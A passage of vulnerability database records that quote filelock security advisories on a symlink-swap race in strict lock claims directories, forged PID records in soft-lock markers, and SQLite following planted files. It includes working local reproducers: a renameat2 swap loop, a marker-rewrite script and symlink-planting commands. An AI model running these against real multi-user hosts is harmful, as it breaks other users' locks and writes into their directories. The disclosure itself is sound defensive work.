`_read_existing_claims` on an instance that did not go through `_acquire`, and `directory.exists()` and `os.scandir(directory)` both follow a link. After the other user runs `mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims`, `acquire()` refuses with \"is not a real directory\". The inspection loop from `docs/how-to.rst` (`for claim in lock.claims: ...`) raises `SoftFileLockProtocolError: … claim 'customer-1123f274.db': unknown claim name or protocol version`. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns `()`, a non-directory gives \"Not a directory\" and an unreadable directory \"Permission denied\", so the call also tells those apart.\n\nThe fourth way is `force_break()` with no race. It confirms the name with a by-name `os.scandir` in `_require_exact_name` and unlinks through `_unlink_in_directory`, where `O_NOFOLLOW` again covers `claims` only. After the other user's one command `ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock`, the recovery loop from `docs/tutorials.rst` run by the lock user on `/tmp/service.lock` (`for claim in stale.claims: stale.force_break(claim.name)`) lists and removes the `held` and `intent` claims of the live holder of `/home/victim/private/db.lock`. A second process then acquires that lock while the first is still in its critical section with `is_locked == True`. The first holder's `release()` later finds its claims gone, counts `ENOENT` as removed and returns without error. Only a directory named `claims` below the link's target is reachable, so the targets are other strict locks, not arbitrary files.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SVFEYX89`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport collections\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\nvictim_job = [sys.executable, \"/tmp/repro.d/victim_job.py\"]\nattacker_swap_loop = [sys.executable, \"/tmp/repro.d/attacker_swap_loop.py\"]\nvictim_uid = pwd.getpwnam(\"victim\").pw_uid\n\n# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.\n# The shared one is on tmpfs to keep the attacker's rename loop off the container's disk.\nshared = \"/dev/shm/filelock-repro-shared\"\nprivate = \"/tmp/filelock-repro-private\"\nshutil.rmtree(shared, ignore_errors=True)\nshutil.rmtree(private, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(private, 0o700)\nshutil.chown(private, \"victim\", \"victim\")\n\nown_mkdir = subprocess.run([\"mkdir\", f\"{private}/claims\"], capture_output=True, text=True, **as_attacker)\nprint(f\"CONTROL attacker's own mkdir: {own_mkdir.stderr.strip()}\")\n\nsubprocess.run([\"ln\", \"-s\", private, f\"{shared}/static.lock.filelock\"], check=True, **as_attacker)\nrefused = subprocess.run([*victim_job, f\"{shared}/static.lock\"], capture_output=True, text=True, check=True, **as_victim)\nprint(f\"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}\")\n\n# the job has run before, undisturbed, so work.lock.filelock is the victim's own directory\nfirst_run = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, check=True, **as_victim)\ncoordination = os.lstat(f\"{shared}/work.lock.filelock\")\nprint(f\"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is {stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}\")\nprivate_before_attack = os.listdir(private)\nprint(f\"CONTROL private directory holds {private_before_attack}\")\n\n# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory\n# while the job keeps running; each run is one more chance to land between the check and the use\nswapper = subprocess.Popen([*attacker_swap_loop, f\"{shared}/work.lock\", private], **as_attacker)\njob_outcomes = collections.Counter()\nwhile job_outcomes.total() < 200 and not os.listdir(private):\n    job = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, **as_victim)\n    job_outcomes[job.stdout.strip()] += 1\nassert swapper.poll() is None, \"the attacker's swap loop stopped on its own\"\nswapper.kill()\nswapper.wait()\n\n# check: the victim's lock created \"claims\" inside the directory the attacker could not write\nprint(f\"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}\")\nprint(f\"OBSERVED private directory holds {os.listdir(private)}\")\nredirected = False\nif os.path.lexists(f\"{private}/claims\"):\n    claims = os.lstat(f\"{private}/claims\")\n    print(f\"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f'{private}/claims')}\")\n    redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid\nprint(\"BUG\" if private_before_attack == [] and redirected else \"OK\")\n```\n\n**`repro.d/attacker_swap_loop.py`**\n\n```python\nimport ctypes\nimport os\nimport sys\nimport time\n\nlock_path, target_directory = sys.argv[1], sys.argv[2]\ncoordination_directory = f\"{lock_path}.filelock\".encode()\nsymlink_to_target = f\"{lock_path}.decoy\".encode()\nos.symlink(target_directory, symlink_to_target)\n\nrenameat2 = ctypes.CDLL(None, use_errno=True).renameat2\nAT_FDCWD = -100\nRENAME_EXCHANGE = 2\ngive_up_at = time.monotonic() + 300\nwhile time.monotonic() < give_up_at:\n    # one atomic syscall: the name always exists, as the victim's directory or as the symlink\n    if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:\n        raise OSError(ctypes.get_errno(), \"renameat2(RENAME_EXCHANGE)\")\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock\n\ntry:\n    with StrictSoftFileLock(sys.argv[1], timeout=1):\n        print(\"job ran\")\nexcept OSError as error:  # filelock.Timeout and SoftFileLockProtocolError are both OSError\n    print(f\"job skipped: {type(error).__name__}\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user\n    participant N as work.lock.filelock (name in shared dir)\n    participant V as job of the lock user (StrictSoftFileLock, timeout=1)\n    participant T as /tmp/private (0700, lock user only)\n    X->>N: plant work.lock.decoy -> T, loop renameat2(RENAME_EXCHANGE)\n    rect rgb(207, 228, 255)\n        V->>N: lstat work.lock.filelock: a real directory\n    end\n    rect rgb(255, 214, 214)\n        X->>N: exchange lands: name is now the symbolic link to T\n        V->>T: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)\n        V->>T: scan, publish intent-v1-<token>.claim, link held-v1-<token>.claim in T/claims\n        X->>N: exchange again: name is the directory\n        V->>N: release(): unlink by path gets ENOENT, counted as removed\n        Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock's .filelock they block that lock\n    end\n    Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again\n```\n\n## Evidence\n\nThe scanner's reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, `fs.protected_symlinks=1`) creates `/dev/shm/filelock-repro-shared` (`0777`, no sticky bit) and `/tmp/filelock-repro-private` (`0700`, owned by `victim`). Three controls run first. The other account's own `mkdir` in the private directory answers `Permission denied`. A link resting at `static.lock.filelock` gives `job skipped: SoftFileLockProtocolError` with the private directory holding `[]`. An undisturbed job prints `job ran` and leaves `work.lock.filelock` as `drwxr-xr-x`, owner uid 1000.\n\nThen the swap loop starts and the job (`with StrictSoftFileLock(path, timeout=1)`) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards `claims`, a directory owned by uid 1000 and mode `0755`, is in the private directory; in some runs it holds `intent-v1-<token>.claim` and `held-v1-<token>.claim` files. Verdict `BUG`. In a `1777` directory on tmpfs (a memory-backed filesystem), with the other account having created `<path>.filelock` first, the lock user created `T/claims` after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`: all 200 runs completed with the private directory empty). The review's regression tests on POSIX cover the `claims`-level swap and the `force_break()` case. We did not verify Windows.\n\n## Impact\n\nAnother local user who can rename `<path>.filelock` makes the lock user's process create a directory named `claims`, mode `0777 & ~umask` (umask: the process's default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock's own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock's directory with the lock user's privileges, not a write of chosen data.\n\nWhere the chosen directory already has a `claims` subdirectory, the lock user's process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock's `.filelock` directory, the stranded claims deny that lock to every process until an operator finds and `force_break()`s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at `claims` leaves one-byte `0600` dot-files instead of claims.\n\nThrough `claims`, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its `claim_name` to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The `force_break()` variant puts two processes inside a different strict lock's critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial's blind recovery loop.\n\nThis shares only the bug class with GHSA-j8f7-rjxc-mr56 (the symbolic link at the `ReadWriteLock` database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.\n\n## Workarounds\n\nKeep strict locks in a directory no other user can write. In a sticky shared directory, create `<path>.filelock` as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from `docs/tutorials.rst` on a lock in a shared directory without first verifying, as `docs/how-to.rst` says, that the owner named in each claim is gone. Treat an unexpected `SoftFileLockProtocolError` that quotes an unknown claim name as a sign that `claims` may point elsewhere. Keep the exception text of `claims` out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SVFEYX89`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-m462-7rxw-wvpg"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/839"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112939","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-rfpc-qcw5-3pc4","CVE-2026-112939"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker","details":"`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record.\n\nA local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected.\n\n## Scope and preconditions\n\n- The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected.\n- The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing.\n- A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out.\n- The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256).\n\n## Introduced\n\nThe stale verdict that trusts the record came in with e35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit `mode=0o666` under umask `022`, needs 66d309d (\"fix(soft): honour mode and tighten marker grammar\", #807), first released in 4.1.0. Both match the git tags.\n\n## Mechanism\n\nA contender whose `O_CREAT | O_EXCL` create fails with `EEXIST` goes to `_try_break_stale_lock`. `_read_lock_file` makes sure the path is a regular file (`lstat`, `O_NOFOLLOW` open, `fstat`) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the `fstat` result in hand but does not look at `st_uid` or `st_mode`. The code parses the content into `pid`, `hostname` and start token and hands them to `owner_is_stale`, whose docstring promises to return `True` \"only when this process can prove the exact recorded owner is dead\". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses `O_WRONLY | O_TRUNC` (no `O_CREAT`, so `fs.protected_regular` does not block it) and writes `2147483647\\n<host>\\n`, keeping the host line. The host matches, PID 2147483647 does not exist, and `owner_is_stale` returns `True`.\n\n`break_lock_file` renames the marker to `<lock>.break.<pid>.<token>` and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's `O_EXCL` create succeeds. The first holder is not told: `SoftFileLock` has no heartbeat, and on release `_unlink_open_marker` finds another inode or no file at the path and returns without an error.\n\nOther records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (`owner_is_stale` reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after `MALFORMED_LOCK_AGE_THRESHOLD`, 2 s). `MarkerSoftFileLock` and `SoftFileLease` apply `owner_is_stale` to the `pid=`, `host=` and `start=` fields of a protocol 2 record, and rewriting `pid=` admitted a second process for both. A `SoftFileLease` holder learns of it at its next heartbeat through `on_compromise`; `SoftFileLock` and `MarkerSoftFileLock` holders do not learn of it at all.\n\nThe marker becomes writable by another account in two ways. An explicit `mode` with group or other write bits goes through `fchmod`, so the umask does not narrow it (`test_lock_mode_soft` at the scanned commit pins `-rw-rw-rw-` under umask `022`). The default mode passes `0o666` to `os.open`, so under umask `002` the marker is `0o664`. With no `mode` argument, in a setgid and sticky group directory (`3770`), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask `000` the marker is `0o666` and any local user can rewrite it. `FileLock(mode=0o666)` on a filesystem where `flock` fails with `ENOSYS` falls back to `SoftFileLock` and produces the same `-rw-rw-rw-` marker (confirmed with `fcntl.flock` replaced by a stub raising `ENOSYS`). With `mode=0o644`, or no `mode` under umask `022`, the other user's open fails with `EACCES` and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-W1H9NXUH`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# root bypasses file permissions, so each party runs as one of the image's unprivileged accounts\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nWORKER = \"/tmp/repro.d/worker.py\"\nREWRITE_MARKER = \"/tmp/repro.d/rewrite_marker.py\"\n\n# set up: a sticky, world-writable directory like /tmp; both workers print \"entered\" / \"left\" into one shared log\nshared_dir = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared_dir, 0o1777)\nlock_path = os.path.join(shared_dir, \"cache.lock\")\nlog_path = os.path.join(shared_dir, \"order.log\")\nlog = open(log_path, \"w\")\n\nfirst = subprocess.Popen([*AS_VICTIM, WORKER, lock_path, \"first\", \"6\"], stdout=log)\nwhile \"first entered\" not in open(log_path).read():\n    assert first.poll() is None, \"the first worker did not get the lock\"\n    time.sleep(0.05)\n\nmarker = os.stat(lock_path)\nprint(\"marker:\", stat.filemode(marker.st_mode), pwd.getpwuid(marker.st_uid).pw_name, repr(open(lock_path).read()))\n\n# before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory\nsecond_before = subprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log, stderr=subprocess.PIPE, text=True)\nprint(\"second worker:\", second_before.stderr.splitlines()[-1])\nassert \"Timeout\" in second_before.stderr\nrm = subprocess.run([*AS_ATTACKER, \"rm\", \"-f\", lock_path], capture_output=True, text=True)\nprint(\"attacker:\", rm.stderr.strip())\nassert rm.returncode != 0\n\n# attack: no check=True, because under a fix the marker is not writable by others, and then this step fails\nsubprocess.run([*AS_ATTACKER, sys.executable, REWRITE_MARKER, lock_path])\nprint(\"marker after the attack:\", repr(open(lock_path).read()))\n\n# the second worker tries again, exactly as before\nsubprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log)\nprint(\"first worker exit status:\", first.wait())\n\n# check: a correct lock keeps the second worker out until the first has left\norder = open(log_path).read().splitlines()\nprint(\"order:\", order)\nshutil.rmtree(shared_dir)\nprint(\"BUG\" if order == [\"first entered\", \"second entered\", \"second left\", \"first left\"] else \"OK\")\n```\n\n**`repro.d/rewrite_marker.py`**\n\n```python\n#!/usr/bin/env python3\n# The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist.\nimport os\nimport sys\n\nlock_path = sys.argv[1]\nNO_SUCH_PID = 2**31 - 1  # the largest PID the marker parser accepts; Linux pid_max is at most 2**22\n\nholder_host = open(lock_path).read().splitlines()[1]  # owner_is_stale only judges records from its own host\nmarker = os.open(lock_path, os.O_WRONLY | os.O_TRUNC)  # no O_CREAT, so fs.protected_regular does not refuse it\nos.write(marker, f\"{NO_SUCH_PID}\\n{holder_host}\\n\".encode())\nos.close(marker)\n```\n\n**`repro.d/worker.py`**\n\n```python\n#!/usr/bin/env python3\n# One of several workers of the victim's application; they take turns under a soft lock in a shared directory.\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, name, work_seconds = sys.argv[1], sys.argv[2], float(sys.argv[3])\n\n# mode=0o666 so that the lock file can be used from several accounts\nwith SoftFileLock(lock_path, mode=0o666, timeout=1):\n    print(name, \"entered\", flush=True)\n    time.sleep(work_seconds)\n    print(name, \"left\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant H as holder (uid victim)\n    participant M as cache.lock (0666, owner victim, sticky dir)\n    participant A as other account (uid attacker)\n    participant C as contender (uid victim)\n    H->>M: O_CREAT|O_EXCL create, fchmod 0o666, write \"pid host token\"\n    C->>M: O_EXCL fails, read record: holder alive, Timeout\n    A->>M: rm: EPERM (sticky directory)\n    rect rgb(255, 214, 214)\n        A->>M: open O_WRONLY|O_TRUNC, write \"2147483647 host\"\n        C->>M: read record, owner_is_stale: PID 2147483647 is dead\n        C->>M: rename to cache.lock.break.*, unlink (the owner may)\n        C->>C: next poll: O_EXCL succeeds, enters beside H\n        Note over H,C: both inside, no error, H's release finds another inode and returns\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs two `victim` workers on `with SoftFileLock(path, mode=0o666, timeout=1):` in a root-owned `1777` directory under `/tmp` (overlayfs, `fs.protected_regular=2`), with `attacker` uid 1001 sharing no group with `victim`. It printed the marker as `-rw-rw-rw- victim '<pid>\\n<host>\\n<start token>\\n'`, the second worker's `Timeout`, `rm: cannot remove ...: Operation not permitted` for `attacker`, the marker after the rewrite as `'2147483647\\n<host>\\n'`, first worker exit status 0, and the log order `['first entered', 'second entered', 'second left', 'first left']`. The second worker entered and left while the first was still inside its `with` block, about 50 ms after the rewrite, on its second poll. It prints `BUG` every time, in about 6 s. Our review ran the same reproducer: `BUG` on 4.2.0, `OK` on the head of #836. The review also tried umask `000` with the default mode.\n\n## Impact\n\nA local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no `lifetime` set, `SoftFileLock` and `MarkerSoftFileLock` give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol.\n\n## Workarounds\n\nDo not give soft markers group or other write bits: pass no `mode` (or `mode=0o644`) under umask `022`. A soft-lock contender of another account waits as well on a `0o644` marker, because contenders only read and rename. The write bits matter only for the native `flock` lock and for `FileLock`'s first open before it falls back to a soft lock. Avoid umask `002` or `000` for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/836\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-W1H9NXUH`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory\n- 2026-10-16 01:16 UTC: fix PR #836 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-rfpc-qcw5-3pc4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112939"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/836"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/eeceaa846cbe4df72718d94c8371ca1ab8f5b3cc"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112940","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-v4x8-3wr5-3wq8","CVE-2026-112940"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/<n>`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `<db>-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: 